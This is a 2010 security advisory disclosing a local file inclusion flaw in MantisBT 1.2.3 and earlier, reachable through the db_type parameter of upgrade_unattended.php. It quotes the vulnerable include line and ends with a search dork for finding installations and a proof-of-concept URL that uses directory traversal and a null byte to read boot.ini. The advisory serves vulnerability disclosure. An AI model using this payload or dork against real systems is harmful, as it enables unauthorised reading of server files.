MantisBT <=1.2.3 (db_type) Local File Inclusion Vulnerability Vendor: MantisBT Group Product web page: http://www.mantisbt.org Version affected: <1.2.4 Summary: MantisBT is a free popular web-based bugtracking system. It is written in the PHP scripting language and works with MySQL, MS SQL, and PostgreSQL databases and a webserver. MantisBT has been installed on Windows, Linux, Mac OS, OS/2, and others. Almost any web browser should be able to function as a client. It is released under the terms of the GNU General Public License (GPL). Desc: Mantis Bug Tracker suffers from a local file inlcusion/disclosure (LFI/FD) vulnerability when input passed thru the "db_type" parameter (GET & POST) to upgrade_unattended.php script is not properly verified before being used to include files. This can be exploited to include files from local resources with directory traversal attacks and URL encoded NULL bytes. ==================================================================================== --> library/adodb/adodb.inc.php ... 4109: 4110: $file = ADODB_DIR."/drivers/adodb-".$db.".inc.php"; 4111: @include_once($file); ... ==================================================================================== Tested on: Microsoft Windows XP Professional SP3 (English) Debian GNU/Linux (squeeze) Apache 2.2.14 (Win32) MySQL 5.1.41 PHP 5.3.1 Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk Advisory ID: ZSL-2010-4984 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4984.php Vendor Advisory URL: http://www.mantisbt.org/bugs/view.php?id=12607 13.12.2010 PoC: ---------- Dork: Copyright+MantisBT Group LFI/FD: http://[MANTIS_ROOT_HOST]/admin/upgrade_unattended.php?db_type=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00 ----------